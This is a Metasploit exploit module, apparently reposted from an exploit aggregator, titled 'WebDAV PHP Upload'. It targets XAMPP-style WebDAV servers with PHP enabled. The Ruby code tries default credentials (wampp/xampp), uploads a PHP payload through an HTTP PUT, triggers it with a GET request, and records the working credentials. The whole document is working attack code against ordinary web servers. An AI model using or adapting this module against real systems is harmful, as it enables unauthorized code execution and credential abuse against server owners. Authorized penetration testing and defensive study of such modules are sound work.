Share
## https://sploitus.com/exploit?id=PACKETSTORM:219593
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Deprecated
      moved_from 'exploits/windows/http/xampp_webdav_upload_php'
    
      def initialize(_info = {})
        super(
          'Name' => 'WebDAV PHP Upload',
          'Description' => %q{
              This module exploits WebDAV which also has PHP enabled,
              such as found on XAMPP servers.
              It can use do by using any supplied credentials to upload via WebDAV,
              a PHP payload and then execute it.
          },
          'Author' => [
            'theLightCosine',
            'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
          ],
          'Platform' => 'php',
          'Arch' => ARCH_PHP,
          'Targets' => [
            [ 'Automatic', {} ],
          ],
          'DisclosureDate' => '2012-01-14',
          'DefaultTarget' => 0,
          'References' => [
            [ 'CVE', '2012-10062' ]
          ],
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
            'Reliability' => [REPEATABLE_SESSION]
          }
        )
    
        register_options(
          [
            OptString.new('URI', [ true, 'The URI path to attempt to upload', '/webdav/' ]),
            OptString.new('FILENAME', [ false, 'The filename to give the payload. (Leave blank for random)' ]),
            OptString.new('USERNAME', [ false, 'The HTTP username to specify for authentication', 'wampp' ]),
            OptString.new('PASSWORD', [ false, 'The HTTP password to specify for authentication', 'xampp' ])
          ]
        )
      end
    
      def build_res_creds
        if !datastore['USERNAME'].to_s.empty?
          vprint_status 'Using credentials for WebDAV'
          {
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD']
          }
        else
          vprint_status 'Anonymous authentication for WebDAV'
          {}
        end
      end
    
      def print_res_code(res, res_creds)
        if res.code == 401
          print_warning 'Creds may be required' if res_creds.empty?
          print_warning 'Creds may be incorrect' if !res_creds.empty?
        end
      end
    
      def report_webdav_service(res, creds)
        header_server = res.headers['Server'].to_s.strip
        vprint_status "Server: #{header_server}"
    
        opts = {
          ip: rhost,
          port: rport,
          service_name: 'webdav',
          proto: 'tcp',
          proof: res.code.to_s
        }.merge(creds.transform_keys(&:to_sym))
    
        service = report_service(
          host: opts[:ip],
          port: opts[:port],
          proto: opts[:proto],
          name: opts[:service_name],
          info: header_server,
          parents: {
            name: ssl ? 'https' : 'http',
            host: opts[:ip],
            port: opts[:port],
            proto: opts[:proto],
            parents: {
              name: 'tcp',
              host: opts[:ip],
              port: opts[:port],
              proto: opts[:proto],
              parents: nil
            }
          }
        )
    
        [opts, service]
      end
    
      def report_webdav_creds(opts, service)
        # XXXX Otherwise `vuln`'s "Service" is "none" when doing check(), and different when doing exploit()
        report_vuln(
          host: opts[:ip],
          service: service,
          name: name
        )
    
        service_data = {
          address: opts[:ip],
          port: opts[:port],
          service_name: opts[:service_name],
          protocol: opts[:proto],
          workspace_id: myworkspace_id
        }
    
        credential_data = {
          origin_type: :service,
          module_fullname: fullname,
          username: opts[:username],
          private_data: opts[:password],
          private_type: :password
        }.merge service_data
    
        login_data = {
          last_attempted_at: DateTime.now,
          core: create_credential(credential_data),
          status: Metasploit::Model::Login::Status::SUCCESSFUL,
          proof: opts[:proof]
        }.merge service_data
    
        create_credential_login login_data
      end
    
      def check
        test_file = rand_text_alphanumeric(rand(8..15)) + '.php'
        test_url = normalize_uri(datastore['URI'], test_file)
        payload = rand_text_alphanumeric(rand(8..15))
        res_creds = build_res_creds
    
        # Check
        vprint_status "Checking for WebDAV: #{datastore['URI']}"
        res = send_request_raw({
          'uri' => normalize_uri(datastore['URI']),
          'method' => 'OPTIONS'
        }.merge(res_creds), 10)
        return Exploit::CheckCode::Unknown unless res
    
        unless res.code == 200
          print_error "Target responded: HTTP #{res.code}, should be 200"
          print_res_code(res, res_creds)
          return Exploit::CheckCode::Unknown
        end
    
        # Record results!
        opts, service = report_webdav_service(res, res_creds)
    
        # First see if it already exists (it really shouldn't)
        vprint_status "Checking for test file: #{test_url}"
        res = send_request_raw({
          'uri' => test_url
        }.merge(res_creds), 10)
        return Exploit::CheckCode::Unknown unless res
        return Exploit::CheckCode::Unknown("The test file may already exists (HTTP #{res.code})") unless res.code == 404 # Need to try again with a different file
    
        # Try to create it
        vprint_status "Attempting to upload: #{test_url}"
        res = send_request_cgi({
          'uri' => test_url,
          'method' => 'PUT',
          'data' => payload
        }.merge(res_creds), 10)
        return Exploit::CheckCode::Unknown unless res
    
        ## Often its HTTP 201
        unless res.code.to_i.between?(200, 299)
          print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
          print_res_code(res, res_creds)
          return Exploit::CheckCode::Safe
        end
    
        # Record results!
        report_webdav_creds(opts, service)
    
        # Try to run it
        vprint_status "Checking if created: #{test_url}"
        res = send_request_cgi({
          'uri' => test_url
        }.merge(res_creds))
        return Exploit::CheckCode::Unknown unless res
        return Exploit::CheckCode::Safe("Error with exploit request (HTTP #{res.code}, should be 2xx)") unless res.code.to_i.between?(200, 299)
        return Exploit::CheckCode::Safe("Error with exploit request (Response doesn't match payload) - Missing PHP?") unless res.body.to_s.include?(payload)
    
        # Clean up
        vprint_status "Attempting to delete: #{test_url}"
        res = send_request_cgi({
          'uri' => test_url,
          'method' => 'DELETE'
        }.merge(res_creds), 10)
        return Exploit::CheckCode::Unknown unless res
    
        # Exploit uses cmd to delete via file system, not HTTP DELETE request
        print_warning "Error with delete request (HTTP #{res.code}, should be 204) - Can't clean up" unless res.code == 204
    
        # Done
        return Exploit::CheckCode::Vulnerable
      end
    
      def exploit
        uri = build_path
        res_creds = build_res_creds
    
        print_status "Uploading payload: #{uri}"
        res = send_request_cgi({
          'uri' => uri,
          'method' => 'PUT',
          'data' => payload.raw
        }.merge(res_creds), 10)
        ## Often its HTTP 201
        unless res&.code&.between?(200, 299)
          print_error 'Failed to upload file!'
    
          if res
            print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
            print_res_code(res, res_creds)
          else
            print_error 'No response received from server'
          end
    
          return
        end
    
        # Record results!
        opts, service = report_webdav_service(res, res_creds)
        report_webdav_creds(opts, service)
    
        print_status 'Attempting to execute payload'
        # Very short timeout because the request may never return if we're sending a socket payload
        send_request_cgi({
          'uri' => uri,
          'method' => 'GET'
        }.merge(res_creds), 0.01)
    
        register_file_for_cleanup(@backdoor)
      end
    
      def build_path
        uri_path = normalize_uri(datastore['URI'])
        uri_path << '/' unless uri_path.ends_with?('/')
    
        @backdoor = datastore['FILENAME'] || Rex::Text.rand_text_alphanumeric(7)
        @backdoor << '.php' unless @backdoor.end_with?('.php')
        uri_path << @backdoor
    
        return uri_path
      end
    end